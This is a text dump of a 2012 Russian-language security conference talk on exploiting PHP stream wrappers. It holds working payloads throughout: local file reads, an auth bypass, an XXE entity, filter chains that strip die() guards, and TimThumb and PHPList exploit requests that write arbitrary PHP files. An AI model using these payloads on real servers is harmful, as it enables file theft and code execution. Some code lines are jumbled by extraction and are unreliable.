SlideShare une entreprise Scribd logo
1  sur  29
PHP Wrappers




                  Алексей Москвин
               Positive Technologies
                           May 2012
Потоки

   Streams
Чтение данных.

     Wrappers

$handle = fopen($file, "rb");
while (!feof($handle))
 {
  $contents .= fread($handle, 8192);
 }
fclose($handle);



Можно получать данные, не только из локальных файлов!

$file = 'ftp://user:password@10.0.0.1/pub/file.txt';

$file = „http://127.0.0.1/server-status‟;

$file = „php://fd/XXX‟;

$file = „expect://ls‟;
Запись данных.

    Чтение файлов.

copy ('/etc/passwd' , 'php://output');

file_put_contents(„php://output', file_get_contents('/etc/hosts'));


    Преобразовываем файл, перед записью на диск.


move_uploaded_file($_FILES[“attach”]["tmp_name"],
                   “php://filter/string.rot13/resource=./upload/user_attach”);


    Записываем данные в Apache error_log (PHP >= 5.3.6)

error_log („Bypass root perm!‟, 3, „php://fd/2‟);
Wrapper zip://


     Требования: PHP скомпилирован с поддержкой zip.

     Обертку zip:// можно использовать при allow_url_fopen = Off.

     Враппер zip://, позволяет получить доступ к файлам внутри архива,
имя архива может быть произвольным.


$zip = new ZipArchive;

if ($zip->open('/tmp/any_name_zip_arxiv',1) )
   {
    $zip->addFromString( '/my/header.html', '<?php print_r(ini_get_all());„ );
   }
$zip->close();

print file_get_contents('zip:///tmp/any_name_zip_arxiv#/my/header.html');
Замена NULL байта.

 $s = $_POST[„path‟];
 include $s.‟/header.html‟;



     Использование врапперов: http:// ftp:// data:// ограничивается директивой
allow_url_include.

    Использование NULL байта, при инклюде локальных файлов, ограничивается
директивой magic_quotes_gpc.

     Если есть возможность создать zip-архив, можно использовать обертку zip://
path=zip:///tmp/any_name_zip_arxiv#/my

  Этот подход даст результат при allow_url_fopen=Off и при magic_quotes_gpc = On

     Имя архива может быть произвольным, это дает возможность использовать
временные файлы, которые создаются, при загрузке контента.
Путь до временного файла можно узнать из phpinfo():
https://rdot.org/forum/showthread.php?t=1134
Wrapper data:// (RFC 2397)




    Согласно RFC 2379 обертка data:// допускает более развернутый синтаксис:

   dataurl   := "data:" [ mediatype ] [ ";base64" ] "," data
mediatype    := [ type "/" subtype ] *( ";" parameter )
      data   := *urlchar
parameter    := attribute "=" value

    Особенность враппера: mediatype может либо полностью отсутствовать, либо
быть заполнен произвольными значениями:

data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64
Trick: function stream_get_meta_data




Манипулирование элементами массива, возвращаемого stream_get_meta_data

 $password = 'secret';
 $file = $_POST['file'];
 $fp = fopen( $file, 'r');
 extract(stream_get_meta_data($fp));
 if ( $mediatype === 'text/plain') { ... }
 if ( $_COOKIE['admin'] === $password) { ... }


Перезаписываем переменную $password
POST DATA: file=data://text/plain;password=mysecret;base64,
Обходим авторизацию: Cookie: admin=mysecret
Враппер compress.zlib://



применение compress.zlib://, не изменяет содержимое обычных файлов

readfile('compress.zlib:///etc/hosts');


в пути до локального файла, могут быть указаны, не существующие
каталоги

 $url = 'compress.zlib:///http://../etc/hosts';
 if (preg_match('/http:///', $url) == true)
  {
    echo "Yes!";
   }
Any Data in parse_url


    Функция parse_url, может обрабатывать не только URL, но и строки
довольно общего вида.

$url_info = parse_url($_POST[„src‟]);

if ($url_info['host'] === 'img.youtube.com')
   {
    $name = str_replace('/', '', substr($url_info['path'], 4));
     copy( $src, './'.$name );
   }



    Загрузка изображений с img.youtube.com:
POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

    Обход проверки на имя хоста, и создание произвольных файлов:
POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

    Копирование локальных файлов:
POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;
Bypass preg_match validate


      Обход фильтра на основе preg_match

POST DATA: src=data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

POST DATA: src=compress.zlib://youtube.com/../http://?/../../path/to/local/file



function validate_url ($url)
 {
  $pattern =
    "/b(?:(?:https?)://|www.)[-a-z0-9+&@#/%?=~_|!:,.;]*[-a-z0-9+&@#/%=~_|]/i";
  return preg_match ($pattern, $url);
 }

$src = $_POST['src'];

if (!validate_url ($src)) display_error ('invalid url');
Загрузка произвольных файлов в TimThumb

     TimThumb – популярный скрипт для ресайза изображений.
Public Exploit for v 1.32 (08/2011): http://www.exploit-db.com/exploits/17602

New Wrappers Exploit for v1.34 (revision 145)

function check_external ($src) {
  …………………
  if (!validate_url ($src)) display_error ('invalid url');
     $url_info = parse_url ($src);
     ...................
     if ($url_info['host'] == 'www.youtube.com' || …) parse_str($url_info['query']);
     ..................
 $fh = fopen($local_filepath, „w‟);
 $ch = curl_init($src);
 …………………..
 $files_infos = getimagesize ($local_filepath);

  if (empty($file_infos[„mime‟]) || …..) unlink($local_filepath);
 ………………………………

http://www.youtube.com/?local_filepath=php://filter/resource%3D./path/to/.php
&url_info[host]=img.youtube.com&src=http://mysite.com/thumb.txt
Манипуляции с файлами в TimThumb v1.35

Требования: Функция curl_init отключена на атакуемом сервере.

…………………
       if (!$img = file_get_contents ($src)) {
           display_error ('error....');
          }
       if (file_put_contents ($local_filepath, $img) == FALSE) {
           display_error ('error.....');
          }
…………………


Создание файлов с произвольным содержимым:
data://img.youtube.com/e;charset=http://w?&var=;base64,SSBsb3ZIIFBIUAo

«Чтение» локальных файлов:

compress.zlib://youtube.com/../http://?/../../path/to/local/file
Скрытый потенциал враппера php://filter

      php://filter – позволяет применять фильтры к потоку во время открытия.

Обрабатываем содержимое файла фильтрами:

readfile('php://filter/read=string.toupper|anyfilter|string.rot13/resource=./file.php');



    Использование неопределенного фильтра, не влияет на обработку
данных другими фильтрами.
    Фильтры convert.base64-decode и string.strip_tags могут удалить часть
данных из потока.
 В 2009 году Стефан Эссер использовал особенность фильтра convert.base64-decode в
эксплойте для Piwik:
http://sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability



 С 2009 года остались не раскрыты два важных вопроса:
      Каким образом уничтожать «ненужные» данные?
      Какие возможности дает применения фильтров?
Алгоритм Base64: кодирование

    Алгоритм Base64 описан в RFC 2045 раздел 6.8.

    Алфавит Base64:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Алгоритм Base64: декодирование.

    При декодировании, во входящей строке символы не из алфавита
Base64 игнорируются.
    Входящая строка разбивается на части по 4 символа,
каждая часть обрабатывается отдельно.
Пример "выдавливания" стопера.

     Применяя base64_decode к строке несколько раз, можно удалить часть
данных.

$content = "; <? die; ?>n";
$content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSlZVRTlQUT09]n";
$file = 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode
        /resource=./PoC';
file_put_contents($file, $content);


   “Заглушка”: /Ly8v ( base64_decode('Ly8v') == '///‟ )

     Фильтр convert.base64-decode не обрабатывает строки содержащие в
середине знаки равенства.



$s = 'php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP';
var_dump(file_get_contents($s)); // print: string(0) ""
Фильтр string.strip_tags

      Процесс "выдавливания" можно ускорить с помощью фильтра string.strip_tags


 $content = "; <? die; ?>n";
 $content .= "=3C=3Fprint('PHP');n";
 $file = 'php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./PoC';
$quoted_printable_lt = $content);
 file_put_contents($file, '='.strtoupper(dechex(ord('<'))); // =3C



      Фильтр convert.quoted-printable-decode, обрабатывает строку посимвольно.
 Символы в формате Quoted-Printable ( RFC2045 раздел 6.7 ), преобразуются в символы 8
битной кодовой таблицы.

 Преобразование в формат Quoted-Printable.

  $quoted_printable_lt = '='.strtoupper(dechex(ord('<')));


      Фильтр convert.quoted-printable-decode, не даст ожидаемого результата, если в строке
содержится знак равенства, после которого нет шестнацетиричного кода символа.

$s = 'php://filter/read=convert.quoted-printable-decode/resource=data:,dGVz=CRAP';
var_dump(file_get_contents($s)); // print: string(0) ""
TextPattern: Upload Arbitrary Files (I)




      Данные об авторах комментариев сохраняются в файл с расширением .php


 $file = $prefs['tempdir'].DS.'evaluator_trace.php';
  if (!file_exists($file)) {
      $fp = fopen($file, 'wb');
       if ($fp)
       fwrite($fp, "<?php return; ?>n".
               "This trace-file tracks saved comments. (created ".
Пп
                 safe_strftime($prefs['archive_dateformat'],time()).")n".
                "Format is: Type; Probability; Message “ .
                 “(Type can be -1 => spam, 0 => moderate, 1 => visible)nn");
TextPattern: Upload Arbitrary Files (I)
Обход проверки getimagesize (I)
  С помощью фильтров можно удалять не только “стоперы”, например можно
модифицировать содержимое изображения, после того как оно прошло проверку
на основе функции getimagesize.

Если в EXIF изображения внедрить данные
Обход проверки getimagesize (II)

extract($_REQUEST);
…..
include $templatedir.'/header.html';
.....
if (!empty($_FILES) ) {
    $file_info = getimagesize($_FILES['image']['tmp_name']);
     if($file_info['mime'] == 'image/jpeg')
       {
        if ( move_uploaded_file( $_FILES['image']['tmp_name'], $folder.'/avatar.jpg') )
......



     Загружаем изображение, но на сервере сохраняется zip-архив,
содержащий файл /my/header.html
folder=php://filter/write=string.strip_tags|convert.base64-decode/resource=/tmp/

      Инклюдим файл внутри zip-архива

templatedir=zip:///tmp/avatar.jpg#/my
Файлы с произвольным содержимым




 Создание файлов с произвольным содержимым дает возможность:

    создать файл сессии и реализовать unserialize bug через session_start()

    создать zip архив и проэксплуатировать RFI

    cоздать/перезаписать файлы htaccess/htpasswd

    создать или перезапись шаблоны.
parse_ini_file atack

      Функция parse_ini_file обрабатывает только локальные файлы.

session_start();
$_SESSION['admin'] = $_POST['name'];
.......
$var = parse_ini_file($inifile);
require $var['require'];



      Создаем файл сессии /tmp/sess_dffdsdf24gssdgsd90

admin|s:68:"Ly8vVnpOYWFHTnNNRXRqYlZaNFpGZHNlVnBVTUdsTU1sWXdXWGs1YjJJelRqQmplVWs5"


    Используя фильтры преобразуем файл сессии в формат, доступный
функции parse_ini_file

php://filter/read=convert.base64-decode|convert.base64-decode|
                 convert.base64-decode/resource= /tmp/sess_dffdsdf24gssdgsd90
XXE Atack


     Чтение файлов за счет внедрения внешней сущности в XML.


<?xml version='1.0'?>
<!DOCTYPE scan
 [
   <!ENTITY test SYSTEM "php://filter/read=convert.base64-
encode/resource=http://127.0.0.1/server-status">
 ]>
<scan>&test;</scan>


     Функция simplexml_load_file и метод DOMDocument::load поддерживают врапперы.
Частичное чтение файлов в PHPList <= 2.10.13 (I)

      Причиной уязвимости, является возможность изменять структуру массива $_FILES
http://isisblogs.poly.edu/2011/08/11/php-not-properly-checking-params/

if (is_array($_FILES)) { ## only avatars are files
   foreach ($_FILES['attribute']['name'] as $key => $val) {
     if (!empty($_FILES['attribute']['name'][$key])) {
       $tmpnam = $_FILES['attribute']['tmp_name'][$key];
         $size = $_FILES['attribute']['size'][$key];
      if ($size < MAX_AVATAR_SIZE) {
         $avatar = file_get_contents($tmpnam);
         Sql_Query(sprintf('replace into %s (userid,attributeid,value)
values(%d,%d,"%s")',$tables["user_attribute"],$id,$key,base64_encode($avatar)));


     С помощью следующей HTML формы возможно загружать файлы в базу данных.

<form action="http://localhost/lists/admin/?page=user&id=1" method="POST”
enctype="multipart/form-data" >
<input type="file" name="attribute[tmp_name][">
<input type="file" name="attribute[size][">
<input type="file" name="attribute[[tmp_name]">
<input type="file" name="attribute[name][">
<input name="change" value="Save Changes" type="submit">
</form>
Частичное чтение файлов в PHPList <= 2.10.13 (II)
Ограничения использования врапперов.




    При установленном Suhosin-е, по умолчанию невозможно использовать
врапперы в инклюдах. (даже при allow_url_include = On).

 Например, обертка zip:// становиться доступной, только после добавления в
whitelist:

 suhosin.executor.include.whitelist = “zip”


    Функции file_exists, is_file, filesize возвращают FALSE, если в качестве
имени файла используются врапперы: php://filter, zip://, data://.
Спасибо за внимание!

     Вопросы?

Contenu connexe

Tendances

plwww (24.03) MEPHI (PHDays)
plwww (24.03) MEPHI (PHDays)plwww (24.03) MEPHI (PHDays)
plwww (24.03) MEPHI (PHDays)ygoltsev
 
Юрий Гольцев - Сервис PLWWW
Юрий Гольцев - Сервис PLWWWЮрий Гольцев - Сервис PLWWW
Юрий Гольцев - Сервис PLWWWPositive Hack Days
 
Web осень 2013 лекция 1
Web осень 2013 лекция 1Web осень 2013 лекция 1
Web осень 2013 лекция 1Technopark
 
Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование LinuxAnthony Shoumikhin
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2Technopark
 
PHP basic
PHP basicPHP basic
PHP basicNoveo
 
Web осень 2013 лекция 9
Web осень 2013 лекция 9Web осень 2013 лекция 9
Web осень 2013 лекция 9Technopark
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорьdrupalconf
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6Technopark
 
Расширенное кеширование в Doctrine2
Расширенное кеширование в Doctrine2Расширенное кеширование в Doctrine2
Расширенное кеширование в Doctrine2Ilyas Salikhov
 
PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?Ivan Tsyganov
 
Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16Anatoly Sharifulin
 
Интеграция Яндекс Сервер
Интеграция Яндекс СерверИнтеграция Яндекс Сервер
Интеграция Яндекс СерверPVasili
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NETPositive Hack Days
 
константин лебедев
константин лебедевконстантин лебедев
константин лебедевkuchinskaya
 

Tendances (20)

plwww (24.03) MEPHI (PHDays)
plwww (24.03) MEPHI (PHDays)plwww (24.03) MEPHI (PHDays)
plwww (24.03) MEPHI (PHDays)
 
Юрий Гольцев - Сервис PLWWW
Юрий Гольцев - Сервис PLWWWЮрий Гольцев - Сервис PLWWW
Юрий Гольцев - Сервис PLWWW
 
Web осень 2013 лекция 1
Web осень 2013 лекция 1Web осень 2013 лекция 1
Web осень 2013 лекция 1
 
Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование Linux
 
Почему Mojolicious?
Почему Mojolicious?Почему Mojolicious?
Почему Mojolicious?
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2
 
Nginx.pm
Nginx.pmNginx.pm
Nginx.pm
 
PHP basic
PHP basicPHP basic
PHP basic
 
Web осень 2013 лекция 9
Web осень 2013 лекция 9Web осень 2013 лекция 9
Web осень 2013 лекция 9
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорь
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6
 
Расширенное кеширование в Doctrine2
Расширенное кеширование в Doctrine2Расширенное кеширование в Doctrine2
Расширенное кеширование в Doctrine2
 
PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?
 
Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16
 
Интеграция Яндекс Сервер
Интеграция Яндекс СерверИнтеграция Яндекс Сервер
Интеграция Яндекс Сервер
 
Укрощение XML
Укрощение XMLУкрощение XML
Укрощение XML
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Erlang tasty & useful stuff
Erlang tasty & useful stuffErlang tasty & useful stuff
Erlang tasty & useful stuff
 
Perl: Symbol table
Perl: Symbol tablePerl: Symbol table
Perl: Symbol table
 
константин лебедев
константин лебедевконстантин лебедев
константин лебедев
 

Similaire à О безопасном использовании PHP wrappers

Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!Vladimir Kochetkov
 
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...Vadim Kruchkov
 
Видеохостинг своими руками
Видеохостинг своими рукамиВидеохостинг своими руками
Видеохостинг своими рукамиStanislavMalkin
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3Technopark
 
Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3Technopark
 
ZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and DoctrineZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and DoctrineZFConf Conference
 
Как мы делаем модули PHP в Badoo – Антон Довгаль
Как мы делаем модули PHP в Badoo – Антон ДовгальКак мы делаем модули PHP в Badoo – Антон Довгаль
Как мы делаем модули PHP в Badoo – Антон ДовгальBadoo Development
 
Компиляция скриптов PHP. Алексей Романенко
Компиляция скриптов PHP. Алексей РоманенкоКомпиляция скриптов PHP. Алексей Романенко
Компиляция скриптов PHP. Алексей РоманенкоFuenteovejuna
 
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр ВолковОпенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр ВолковYandex
 
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Александр Егурцов
 
Движение по хрупкому дну / Сергей Караткевич (servers.ru)
Движение по хрупкому дну / Сергей Караткевич (servers.ru)Движение по хрупкому дну / Сергей Караткевич (servers.ru)
Движение по хрупкому дну / Сергей Караткевич (servers.ru)Ontico
 
Страх и ненависть в исходном коде
Страх и ненависть в исходном кодеСтрах и ненависть в исходном коде
Страх и ненависть в исходном кодеKolya Korobochkin
 
PHP 5.4: Что нового?
PHP 5.4: Что нового?PHP 5.4: Что нового?
PHP 5.4: Что нового?phpdevby
 
Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)
Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)
Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)Symfoniacs
 
Silverlight 4, есть ли жизнь на десктопе
Silverlight 4, есть ли жизнь на десктопеSilverlight 4, есть ли жизнь на десктопе
Silverlight 4, есть ли жизнь на десктопеAlex Tumanoff
 
Saint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demoSaint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demomegakott
 

Similaire à О безопасном использовании PHP wrappers (20)

Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!
 
file handling in c
file handling in cfile handling in c
file handling in c
 
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
 
FileAPI 2.0
FileAPI 2.0FileAPI 2.0
FileAPI 2.0
 
бегун
бегунбегун
бегун
 
Видеохостинг своими руками
Видеохостинг своими рукамиВидеохостинг своими руками
Видеохостинг своими руками
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3
 
Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3
 
ZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and DoctrineZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and Doctrine
 
Как мы делаем модули PHP в Badoo – Антон Довгаль
Как мы делаем модули PHP в Badoo – Антон ДовгальКак мы делаем модули PHP в Badoo – Антон Довгаль
Как мы делаем модули PHP в Badoo – Антон Довгаль
 
Компиляция скриптов PHP. Алексей Романенко
Компиляция скриптов PHP. Алексей РоманенкоКомпиляция скриптов PHP. Алексей Романенко
Компиляция скриптов PHP. Алексей Романенко
 
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр ВолковОпенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
 
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
 
Движение по хрупкому дну / Сергей Караткевич (servers.ru)
Движение по хрупкому дну / Сергей Караткевич (servers.ru)Движение по хрупкому дну / Сергей Караткевич (servers.ru)
Движение по хрупкому дну / Сергей Караткевич (servers.ru)
 
Страх и ненависть в исходном коде
Страх и ненависть в исходном кодеСтрах и ненависть в исходном коде
Страх и ненависть в исходном коде
 
бегун
бегунбегун
бегун
 
PHP 5.4: Что нового?
PHP 5.4: Что нового?PHP 5.4: Что нового?
PHP 5.4: Что нового?
 
Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)
Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)
Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)
 
Silverlight 4, есть ли жизнь на десктопе
Silverlight 4, есть ли жизнь на десктопеSilverlight 4, есть ли жизнь на десктопе
Silverlight 4, есть ли жизнь на десктопе
 
Saint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demoSaint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demo
 

Plus de Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 

Plus de Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

О безопасном использовании PHP wrappers

  • 1. PHP Wrappers Алексей Москвин Positive Technologies May 2012
  • 2. Потоки Streams
